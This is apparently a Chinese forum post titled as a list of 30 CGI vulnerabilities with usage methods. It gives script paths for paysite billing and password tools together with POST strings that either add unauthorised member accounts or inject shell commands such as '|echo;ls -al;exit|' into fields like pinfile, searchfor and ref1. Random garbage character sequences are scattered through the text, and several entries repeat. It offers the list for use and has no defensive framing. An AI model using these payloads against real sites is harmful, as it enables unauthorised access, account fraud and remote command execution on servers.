Cgi-bin 30个漏洞＋使用方法

admin

==============================
: r" M* Y/ J4 r; n
& h& K' N8 W) e/ F% f0 U2 X$ u. b; T0 e4 |/smspass.pl
* h2 M: p* R2 E% `9 R& busername=username&password=password

/index.cgi
: e4 w. V: o- n" V4 P9 Y7 G# ewei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password
4 P5 z6 G( b% Y+ g: v# l% J+ C. B
/accountcreate.cgi
. D9 ~& q5 ^( p; Y. o" h5 Musername=username&password=password&ref1=|echo;ls|
- C% E9 e4 }& d/ R
# l/ Q7 v( F1 i/ j/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

8 ~9 h! h0 @0 v3 Q/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
+ {3 M0 Z$ V* v9 ]( V: J0 G7 z: J
! ]& C' S1 }4 C7 K3 B/ccbill-local.asp
post_values=username:password

& n& B0 I4 @! _/count.cgi
7 D/ L% V3 j1 ^$ u7 W7 Z3 |3 b$ d: Vpinfile=|echo;ls -la;exit|
6 J' t& C+ _4 w- o8 T( c4 p
/recon.cgi
  |0 `' n& ~& D. @$ m& d/recon.cgi?search
) h. D" \9 D5 I& @% V! Usearchoption=1&searchfor=|echo;ls -al;exit|

" \3 Q0 ], a' ~, ~& X/verotelrum.pl
) z8 @; M# _3 e0 _- X/ y: y9 m& u0 Mvercode=username:password:dseegsow:add:amount<&30>

! ]& t& H0 l% O8 Z) Z2 Q: m- M9 I8 J/af.cgi
_browser_out=|echo;ls -la;exit;|

/modify.cgi
3 H# D3 B: D( {9 S; u8 Y9 Ausername=username&password=password&expire=30
9 ]( @( l) [  L
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
7 l$ \0 D7 u; d( T1 E2 }cmd=ADD&user=username&pass=password
1 Y4 Y$ }- ^4 Z* I* h' ]8 V( S
3 P5 ^% k8 B6 L0 I. R- e; `/probecontrol.cgi
command=enable&username=username&password=password
* w! H; H# B9 _- p/ J7 e: q
+ |) P" d0 f# B7 H! m. f) p9 f! D/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

* C3 P9 {- w6 l$ U/htadd.pl
configfile=|echo; ls -alt; exit
. C8 Q$ Y8 z7 m8 m' j3 k* B
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
5 ]* L' H7 ^+ c9 |2 w
/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
& c: d1 C5 F# k4 |# `# acommand=add_member&username=username(EMAIL)&password=password(DES)
3 r4 ^4 @7 X% i  x2 V
/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
5 k: h' E6 O8 i  F9 z* C2 x" {
/usercontrol.cgi
3 V5 w' ~+ Z: ]& rcommand=enable&username=USER&password=PASS

; i8 p8 `: z1 O: I/globoSALErum.cgi
. Z$ @! D4 |" b! [action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
* _! k1 q) `! g* i& t( Euser=USER&pass=PASS&confirm=PASS

/pincount.cgi
: y6 G2 _  `% v7 F9 ?4 t1 P- l/cgi-bin/mastergate/pincount.cgi
* B8 A; V& z  o* d0 w0 b. d# rpinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
# v: _) p" X* ?& K8 q3 }username=username&password=password&password2=password&ref1=|echo;ls -al;exit

. I# F* U0 \; `) q/af.cgi
/env.cgi
ADD+;echo;pwd;exit

/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
( \3 }+ J' g4 w+ m; T) qsearchoption=1&searchfor=|echo;ls%20-al;exit|
9 Y4 J; P* U+ [0 v# |# [+ A! S
/add.cgi
username=username&password=password&expire=30
* G) U" X' t. q. t
==============================
0 t4 Y; R1 D( X